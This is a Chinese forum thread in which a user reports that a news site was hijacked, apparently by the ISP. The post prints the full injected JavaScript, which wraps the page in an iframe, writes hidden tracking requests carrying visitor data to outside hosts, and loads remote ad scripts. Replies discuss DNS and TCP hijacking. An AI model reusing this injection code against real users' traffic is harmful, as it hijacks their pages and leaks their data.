找回密码
 立即注册

QQ登录

只需一步,快速开始

PropellerAds
Google-Bing-Mediago-Criteo开户
⚡️按条S5代理⚡️静态⚡️独享⚡️5G广告专用虚拟卡/U充值/高返点皇家代理IP⚡️#1性价比⚡️
Mediabuy⚡️玩家开户首选【鲁班跨境通-自助充值转账】FB/GG/TT❤️官方免费开户Affiliate 全媒体流量资源⚡️
Taboola/Outbrain /Bing⚡️一级代理开户投流-7*24h❤️人工在线【官方】❤️搜索套利买量投流开户独立站⚡️开户投放
Google FB TK游戏代投⚡️E.PN 虚拟卡⚡️BINOM TRACKER 60% OFF!比Adplexity还好用的Spy工具
ADPLEXITY + ADVERTCN7200W全球动态不重复住宅IP代理虚拟信用卡+独立站收款全球虚拟卡, 支持U充值
Facebook 批量上广告尤里改 - FB 稳定投放免费黑五教程(持续更新、欢迎交流)FB 三不限源头 - 自助下户充值转款
各种主页、账单户、BM户(优势)IPCola原生住宅IP⚡️$1.8/条双ISPFB资源,账单户,分享户,国内一手TK加白户/二解户/FB海外户/GG老户
海外CL企业户源头最大欧洲Nutra网盟BA找量 FB高权重耐操个号⚡️稳定过审GG,FB,TK, 欧美源头, 欢迎合作❤️
FB企业户海外户,授信户,TK加白户联盟收款/海外资金下发/服贸结汇⚡️Spend.net — 美元卡仅需$0⚡️✔Taboola海外户
广告位出租虚拟卡返佣1%,国内持牌机构  
查看: 8945|回复: 12

[闲聊] 上网奇遇记

[复制链接]

45

主题

781

广告币

1433

积分

高级会员

积分
1433
发表于 2015-2-3 00:52:03 | 显示全部楼层 |阅读模式
本帖最后由 hudba 于 2015-2-3 00:56 编辑   ^3 y5 b1 z7 j0 s
$ G" [: G; a% _5 k% v* g
上网易看新闻半天打不开,发现状态栏在现实访问一个奇怪的域名。心里一惊,难道电脑中毒了?赶紧查看源代码,发现后面加了一段js,真正的新闻内容给iframe了
$ W  D1 l9 j5 f" w" j
! k% B; x% m) q' M接下来就是去搜索这个域名,得到v2ex里面也有人遇到这个问题,原来是运营商搞的鬼{:soso_e131:}
% A$ F* o/ f( H. D
https://www.google.com/search?q=info.hfjuki.com&ie=utf-8&oe=utf-8
http://www.v2ex.com/t/142197
. p, |7 ~  y( m

7 ~. s( O7 d3 w1 B  I顺便查下ip138:
. T: [2 P& Q; x) \% e) o9 B; E# ?) T: L9 z4 D# W% c, T( G3 A  U
这是那段js里面的代码,好象是个半成品还没写入广告数据:
0 c8 G, U9 U* T; ]7 t3 e' f
  1. function locationSearch() {( D5 g. V/ w' {; O1 ]: h/ A
  2.         var s = getMainJs();; e0 U# Q7 E: ~7 l
  3.         if (s == null) {
    * }! t$ W" H, G  A7 h; T0 s; h
  4.                 location.reload();
    : P7 ?" H; N" H) \/ K
  5.         }
    ' [+ V8 W% P8 w
  6.         return s.src.substring(s.src.indexOf(".js?") + 3, s.src.length);0 E- v" `/ G3 a( v' f& e8 X
  7. }
    7 S5 m. |# P& {. n

  8. ( l! i9 `/ g( |5 U
  9. function getParameter(name, paraStr) {
    / e1 Z3 M" G# h7 a
  10.         var result = "";4 a, h/ m- ~/ k2 s6 ]
  11.         var str = "&" + paraStr.split("?")[1];
    # a) ?/ b9 x. \7 ?
  12.         var paraName = "&" + name + "=";2 L3 q+ _, j2 w
  13.         if (str.indexOf(paraName) != -1) {* {' ]# e+ W$ q1 c/ T" Y; Q; e
  14.                 if (str.substring(str.indexOf(name), str.length).indexOf("&") != -1) {
    4 ?0 j/ z! K* b- \1 a- X
  15.                         var TmpStr = str.substring(str.indexOf(paraName), str.length);
    / X, j, r" k0 |# C
  16.                         result = TmpStr.substr(TmpStr.indexOf(paraName), TmpStr.substring(
    4 ^- v3 n+ W$ |+ Q
  17.                                         1, TmpStr.length).indexOf("&")/ G8 s/ k0 K/ t
  18.                                         - TmpStr.indexOf(paraName) + 1);5 ?4 w# m- z& b2 T# x
  19.                 } else {
    % _7 x; v6 y* g: Q* E
  20.                         result = str.substring(str.indexOf(paraName), str.length);
    # v( y$ Q: {: D& w+ C
  21.                 }5 G9 [8 b1 \% l+ |9 L; [7 c
  22. 4 m- a8 c& X1 k0 A% W6 V( r# s8 P
  23.                 result = result.substring(result.indexOf("=") + 1, result.length);$ J- z6 t# @2 Q5 I+ B
  24.         } else {3 B8 Z( s. G' s& B4 t
  25.                 result = "No such parameter";
    5 K4 X1 U, [$ Q* A9 F  F* o( g: I( R
  26.         }. b9 Z; U& j/ j+ F5 q& y
  27.         return (result.replace("&", ""));+ g: V$ u7 i* @' e* i8 [! ~1 _
  28. }5 j- |" }; r: B. v8 [
  29. ; b7 s3 l! ~/ F; E5 r& `
  30. function getMainJs() {
    $ n) }  l; |8 _7 Y9 K8 x6 l
  31.         var scripts = document.getElementsByTagName("script");4 x# d7 R1 i8 W
  32.         var s = null;
    2 c* {! M# v) l
  33.         for (var i = 0; i < scripts.length; i++) {
    5 c9 K- N# s2 Y/ j6 @
  34.                 if (scripts[i] != "undefined" && scripts[i].src.indexOf("t_c") != -1) {
    , V# u; ^* W+ M  y3 d: t
  35.                         s = scripts[i];' q( W; Q) S  |. I$ M7 m, B" w
  36.                         break;# ?* s5 t6 }. j1 t! V* Z
  37.                 }) Q, o$ q/ C. v' q( j
  38.         }
      b7 t9 @) M3 R( P) Z$ n
  39.         return s;5 x" m* y$ Q8 V1 E/ V
  40. }
    % w1 z# {/ x( p) j$ X3 i- c5 u- Y
  41. & K5 c& U* e- b8 g' s
  42. function appendParam(oStr, aStr) {
    4 u$ u3 J, ^, R+ z, ^3 Y2 N
  43.         if (oStr.indexOf('?') > 0) {
    6 X8 s7 F' B. w, i3 }
  44.                 oStr = oStr + "&" + aStr;
    * ]. f6 ?/ R9 S( u/ c, |: y0 }
  45.         } else {
    ! A; N+ O0 |+ n: W
  46.                 oStr = oStr + "?" + aStr;
    : l, Z# B4 }. |2 {' n2 B0 z, b
  47.         }
      a7 v6 u. ~$ w. K2 H% K) K/ ]
  48.         return oStr;; q/ @% W* Y5 M$ \  d6 |
  49. }
    % ~, K% l+ p* f  m" _0 ^* ~! A9 M

  50. ; X7 x" Y2 s9 }* V( h0 r
  51. window.onerror = function() {
    : W; n& N" x/ A: Z
  52. };+ m$ r2 f+ v1 _
  53. + T6 `9 a% e0 [' I
  54. var g_titleTime = 0;
    ! T) T# t- p% d
  55. function setTcTitle() {) b, {- o8 B( J1 K7 a
  56.         if (undefined == document) {, P5 [6 J$ X8 Q! ]+ W* R3 X) E
  57.                 g_titleTime++;
    , h! H! c! ~+ A% Q) W) y& S; b. r/ s7 l
  58.                 setTimeout("setTcTitle();", 1000);
    # u/ F1 D; b9 c& q, f) c
  59.                 return;2 g$ w4 O$ X2 q& I1 ]: `
  60.         }
    1 _# J* c7 T$ ]$ N* }

  61. 2 O* T$ Y2 S2 Y0 S! R
  62.         var doc;# v: O( f+ A) {( l
  63.         try {4 ^4 |. C0 F% M2 ?
  64.                 if (document.all) {* v% ^6 h# E& u
  65.                         doc = document.frames["cn"].document;# x) R6 B2 L* `/ m
  66.                 } else {6 r" k. J+ `1 o6 t+ U! L. h8 x
  67.                         doc = document.getElementById("cn").contentDocument;
    + a! `& a; R# ?" ]% [
  68.                 }" {4 b  m: l; O+ Z' b0 L" ^; e5 C
  69.         } catch (ex) {1 g# e, k  R) i: e* M( D4 n* X* B
  70.         }: U9 P+ p0 V1 `' X: L
  71. 6 y9 A5 k5 G: V& c, f
  72.         if (g_titleTime < 5
    ! L5 _( b6 N% e) O
  73.                         && (undefined == doc || undefined == doc.title || "" == doc.title)) {
    " {! J3 P; K: Z7 G( E
  74.                 g_titleTime++;
    3 {: b; T$ R  D, P
  75.                 setTimeout("setTcTitle();", 1000);
    + p6 p9 ], L: D( |6 ^
  76.                 return;9 T$ v8 ?! I, L  P8 ^
  77.         } else if (undefined != doc && undefined != doc.title && "" != doc.title) {
    % i, `0 J3 ]. G0 U, d
  78.                 document.title = doc.title;7 a- ~0 l0 C9 F% k) v
  79.                 setTcAdvVisible();
    7 Q3 L( q( E7 N$ m6 A6 F: |$ [. x& L
  80.         }
    / y) H/ x2 F  S) e; L4 D
  81. }
    " h; |% K$ Z- X5 n% C, |0 x4 P

  82. 7 F/ x2 D1 a5 e- G' H- D( k
  83. setTimeout("setTcTitle();", 1000);
    3 |4 g% J3 D" c; S+ n/ c9 B( s

  84. . M, G& c9 \4 s6 s5 G$ T' V
  85. var g_isHaveVisible = false;' V, @% `' P  Y' w9 Q
  86. function setTcAdvVisible() {
    4 W3 K. A3 P8 j: l
  87.         if (undefined != document && undefined != document.getElementById("addiv")
    # [; m! ^- Q  e: O& ^3 U! }( s0 Z
  88.                         && !g_isHaveVisible) {
    8 X; `8 Z" n9 ]$ x3 u! U
  89.                 document.getElementById("addiv").style.visibility = 'visible';5 ?: K! t6 `$ q" W5 B! N9 c
  90.                 document.getElementById("addiv").style.display = 'block';4 s: P. @0 |2 ?% H/ N' a' A
  91.                 g_isHaveVisible = true;! L) ~. ^4 w! o
  92.         }/ W/ H$ O" U* K# T/ P
  93. }
    - ~  L* T* e8 z" A( G6 l
  94. 3 T2 J& f' t9 \& c+ Q! Y) h
  95. function UrlAnalyzer() {
    " u# @9 w2 O; Z5 O
  96.         this.divda = "";. E, }9 U/ O$ |& q0 f0 D
  97.         this.tctype = "";
    0 X. R8 s1 V) M% B
  98.         this.radius = "";) g+ }, Y6 V, a* W; m! v
  99.         this.rlu = "";( g0 C1 `* T% M% g/ n4 a
  100. }# I5 K) i# G/ W/ D

  101. 0 w! @2 `! d9 j9 b
  102. UrlAnalyzer.prototype.initParameters = function() {
    , j+ Y: ?2 L8 S
  103.         var paraStr = locationSearch();
      S0 q  n" Q9 h& q
  104.         this.rlu = getParameter("lruedct", paraStr);
    : M; N5 t/ i! T4 G/ r
  105.         this.divda = getParameter("divda", paraStr);
    ( K  Q) V3 Z2 D6 D
  106.         this.radius = getParameter("radius", paraStr);
    4 E, o* n( _9 n0 F$ C& y
  107.         this.tctype = getParameter("tctype", paraStr);
    ( h. Q6 c2 |% O9 ^5 ^
  108.         this.address = getParameter("address", paraStr);1 V: ?, c% Y9 b. E2 @
  109.         this.usagent = getParameter("usagent", paraStr);" k3 j( {/ ^/ @8 u
  110. }$ @- |- g& l- t0 f- `' E& h4 l; N8 s
  111. ! `. r, t- Z+ Z) `- |
  112. UrlAnalyzer.prototype.getHtmlDoc = function() {
    2 {  h" A# r  `% Q4 [! C, d
  113.         var doc;- L& f8 J# J. q$ J& w
  114.         try {' e, V) r. m/ H7 K& S5 l( S
  115.                 if (document.all) {0 p4 X3 y" E) X0 J# d
  116.                         doc = document.frames["cn"].document;
    * m) v9 t" Y5 F) |3 @
  117. $ j  r/ y0 c9 H7 \8 w- _# P
  118.                 } else {
    & j! C/ @0 `; u; z' f# f% i0 ]
  119.                         doc = document.getElementById("cn").contentDocument;- y" F6 }- ^+ K% z8 ]' T5 ^& i
  120.                         // doc = document.getElementById("cn").contentWindow.document;  @) d) S+ K$ X7 r
  121.                 }4 e( G3 X+ N) D5 R) r( s
  122.         } catch (ex) {
    ) q* S: M! h/ T0 S+ P; h
  123.         }
    0 R  `+ ~. A- m4 u/ c
  124.         return doc;
    4 m  N2 [; g' ~0 C
  125. }
    " {8 A. o6 Q8 W; q

  126. $ U+ I3 W) y$ b  L4 n, p5 C$ w8 G
  127. UrlAnalyzer.prototype.setDomain = function() {3 c% r( f( o% B/ u& A$ k
  128.         if (undefined != document.title && "" == document.title)
    5 x# Z/ I; `+ h+ `# g8 c
  129.         {8 U" B8 [4 I+ k$ I/ Z
  130.                 var index = document.domain.indexOf(".");
    7 d+ D2 G+ [  |
  131.                 if (undefined != index && -1 != index) {
    , \. w/ @) ^$ a6 d$ X$ F/ X4 s5 H+ M
  132.                         document.domain = document.domain.substring(index + 1,
    3 Y" Z. A8 Q# W9 z! O
  133.                                         document.domain.length);. ]2 Z1 r) I# r7 R' n
  134.                 }
    ( R4 ?8 H( F* x$ C" a/ r* v2 b
  135.                
    " K% E3 F* E3 }/ {
  136.                 var doc = this.getHtmlDoc();
    : R5 P, o) u4 y
  137.                 if (undefined != doc && undefined != doc.title && "" != doc.title) {" O" g; P  o0 J
  138.                         document.title = doc.title;2 M- D' M) e& d" J: ^% ~' _  M
  139.                         setTcAdvVisible();' T7 J5 f9 [2 W  V7 ~
  140.                 }8 ~2 H0 g# X' S8 S. R2 a
  141.         }
    2 E, i& }" V7 m
  142. }
    ( e$ N# P/ C- ]

  143. " y' V) k6 T0 r4 E8 p# @
  144. UrlAnalyzer.prototype.iframeCallback = function() {3 a8 N) _0 \3 r1 J
  145.         var doc = this.getHtmlDoc();
    0 p$ {' {  O( \5 t' x  K  z! ~0 b
  146.         if (undefined == doc || undefined == doc.title || "" == doc.title) {
    4 ?+ F' q4 B5 [2 Q& x- y( E
  147.                 if (undefined != document.domain) {2 ]& r8 l$ j; u. K6 b, o* r

  148. % P7 ?: Y: o, A# u( R# L
  149.                         var self = this;
    5 _1 A  P, _: L' W( l
  150.                         setTimeout(function(){self.setDomain.call(self, null)}, 1000);( g- R1 A! l3 q, O
  151.                         // var index = document.domain.indexOf(".");, p6 A, k, q* o# E' Q
  152.                         // if (undefined != index && -1 != index) {+ u: S" S3 V9 O) {# Q! x4 ?/ u
  153.                         // document.domain = document.domain.substring(index + 1,6 b$ g3 E; V! ?7 n: ^
  154.                         // document.domain.length);
    - X* j' {, E+ X/ [
  155.                         // }
    : {1 f8 i! W) \+ B: ^- I
  156.                         //: ]" |8 Z+ A; `: l! l4 J
  157.                         // var doc = this.getHtmlDoc();2 g! K$ X8 c% B. |9 }' H5 d. M
  158.                         // if (undefined != doc && undefined != doc.title && "" !=% g. G  R: S. O9 |
  159.                         // doc.title) {
    8 I# W' v; E3 s4 x% ?
  160.                         // document.title = doc.title;: C$ \* |- R2 M
  161.                         // setTcAdvVisible();
    1 V* I4 p. U1 S  _$ b" S
  162.                         // }
    & n' U; I3 b$ A8 o; [, f0 y
  163.                 }( D4 T( }0 `  I: X1 d, t- _
  164.         } else if (undefined != doc && undefined != doc.title && "" != doc.title) {
    ( D# t" g3 ~; P9 Q/ T
  165.                 document.title = doc.title;
    $ D8 m3 m  K3 |; r6 O: B& l5 l
  166.                 setTcAdvVisible();
    : v" f+ H9 W+ i: R) c3 E) N
  167.         }
    8 B3 T- Q* ?2 A# o; }3 l
  168. }' l1 L  t2 W5 M; S0 q* Z
  169. 5 Q: i( u3 n5 X9 C8 L9 H
  170. UrlAnalyzer.prototype.executeHtmlContext = function() {1 R# R) r9 C) ^+ J  H! e
  171.         var staUrl = "http://info.hfjuki.com:8060/page/statistics?advId=" + this.divda
    7 i" K# |7 ], v; Z/ J8 O
  172.                         + "&rd=" + this.radius + "&tctype=" + this.divda  + "&address=" + this.address  + "&usagent=" + this.usagent;6 F* b/ ^5 O$ ?. N$ Q% R1 R! k
  173. : K% e  N- T5 D$ N
  174.         var htmlStr = "<iframe src="" + staUrl: F9 G3 y( k+ ?8 i: ~# x1 g
  175.                         + "" style="display:none"></iframe>";
    # p  b& A" {' R- J! a
  176. 2 N0 w- u6 E$ M% J  M9 `
  177.         var advUrl = htmlStr
    ( ~" d8 i/ b: }# E
  178.                         + "<script src="http://c2.sxite.com:8060/center?advId="
    % p3 E+ [" j. n. f
  179.                         + this.divda + "&radius=" + this.radius  + "&area=1" + ""><\/script>";( y& b/ U6 u# g) X
  180.         document.write(advUrl);$ [( _9 m$ \, S9 }
  181. $ ^, ~5 Y& v& I" F# {; ]
  182.         var self = this;
    . t2 y! {6 L0 i8 t; k7 ?% P5 \8 k' J
  183.         var iframe = document.getElementById("cn");' {. p+ `& b: m4 w2 i' R
  184.         if (iframe.attachEvent) {+ ?% x5 {3 J, H% e' |0 P
  185.                 iframe.attachEvent("onload", function() {$ O# A1 V. k% g3 d' u# m
  186.                         self.iframeCallback.call(self, null);+ n: V8 H: _& J% E8 e( |- E
  187.                 });
    8 m& d, E, P6 t7 ^5 Y% m
  188.         } else {
    2 Z; d( b7 J7 S6 }3 ^
  189.                 iframe.onload = function() {5 B2 H% s# r6 ?, O, A' `: F! [* X  o& S
  190.                         self.iframeCallback.call(self, null);9 Q0 u- X; y/ S7 W1 ~6 H& @/ O
  191.                 }6 A+ P# D0 g% Y
  192.         }" d! d' C, W' _, e& l1 P" }+ y: {& o! ~
  193. }
    5 n' T, ]8 I. B( I( w1 ^
  194. ! h* t7 G/ W; [. ?2 @
  195. UrlAnalyzer.prototype.executeMain = function() {
    ! L  h1 K+ a& |  i$ _! V& F
  196.         var mainFrame = document.getElementById("cn");  N$ {" e$ ]+ E
  197.         mainFrame.contentWindow.location.href = mainFrame.src;4 R% E8 i% v: s: ]. u
  198.         this.initParameters();
    % J, B3 A! e$ T8 g1 m
  199.         this.executeHtmlContext();
    4 `: V0 P; {1 d3 @' N$ c: }% f& P; f: Y
  200. }4 Y  h& i; D5 k) j( |& J/ I- B

  201. / G3 b& ]" V7 d) G3 Q/ O
  202. var g_analyzer = new UrlAnalyzer();
    9 N0 u4 y5 A, @  K$ u
  203. g_analyzer.executeMain();9 _! o$ M6 S, T0 M, U, m6 `
复制代码
$ I! u1 ]. i( @3 Q
$ ~4 \/ G% Z) q" p

& Z4 J$ \, B9 t1 F  K3 Z

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

×
相关帖子
回复

使用道具 举报

26

主题

836

广告币

1784

积分

高级会员

积分
1784
发表于 2015-2-3 01:33:54 | 显示全部楼层
回复 支持 反对

使用道具 举报

52

主题

458

广告币

844

积分

中级会员

积分
844
发表于 2015-2-3 04:58:09 | 显示全部楼层
我在想有没有大牛会去干电信那个网页,那就发啦。哈哈
回复 支持 反对

使用道具 举报

54

主题

9

广告币

6010

积分

禁止访问

积分
6010
发表于 2015-2-3 09:49:12 | 显示全部楼层
所以从不使用运行商的dns,http://dudns.baidu.com/ http://www.114dns.com/ 这两个都不错

点评

TCP劫持,换DNS也不管用的。  详情 回复 发表于 2015-2-3 21:26
回复 支持 反对

使用道具 举报

26

主题

348

广告币

595

积分

中级会员

积分
595
发表于 2015-2-3 09:49:33 | 显示全部楼层
法制不健全,没法。我这里也有电信绑架的问题,但你没辙,要国外,早赔的只剩内裤了。
回复 支持 反对

使用道具 举报

22

主题

1730

广告币

2028

积分

高级会员

积分
2028
发表于 2015-2-3 13:12:15 | 显示全部楼层
电信DNS劫持不是一天两天了。国家垄断企业,没人能管”。。。
回复 支持 反对

使用道具 举报

1

主题

70

广告币

498

积分

中级会员

积分
498
发表于 2015-2-3 14:24:00 | 显示全部楼层
我这段时间也遇到了,投诉了两次,这几天没出现了,再出现继续投诉
回复 支持 反对

使用道具 举报

26

主题

836

广告币

1784

积分

高级会员

积分
1784
发表于 2015-2-3 21:26:11 | 显示全部楼层
阿百川 发表于 2015-2-3 09:49- E/ U( N& e( J( S8 |5 O
所以从不使用运行商的dns,http://dudns.baidu.com/ http://www.114dns.com/ 这两个都不错 ...

/ N" t$ M, v- W9 m- O; Z* A  O$ Z, I8 U- oTCP劫持,换DNS也不管用的。

点评

正解。  发表于 2015-2-3 21:43
回复 支持 反对

使用道具 举报

54

主题

9

广告币

6010

积分

禁止访问

积分
6010
发表于 2015-2-4 07:36:43 | 显示全部楼层
ads419 发表于 2015-2-3 21:26+ Z0 t7 _: M* X1 o( }7 |, J: S, U- g
TCP劫持,换DNS也不管用的。

" w) i& E1 {( g2 S, d: U6 h2 @9 ?幸好联通还木有这么强的技术

点评

联通也一样,各地不同罢了。  发表于 2015-2-4 10:07
回复 支持 反对

使用道具 举报

12

主题

915

广告币

1212

积分

高级会员

积分
1212

社区QQ达人

发表于 2015-2-4 20:47:04 | 显示全部楼层
在国内,习惯就好
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

关于我们|联系我们|DMCA|广告服务|小黑屋|手机版|Archiver|Github|网站地图|AdvertCN

GMT+8, 2026-8-15 09:48 , Processed in 0.093741 second(s), 30 queries , Gzip On.

Copyright © 2001-2026, AdvertCN

Proudly Operating in Hong Kong.

快速回复 返回顶部 返回列表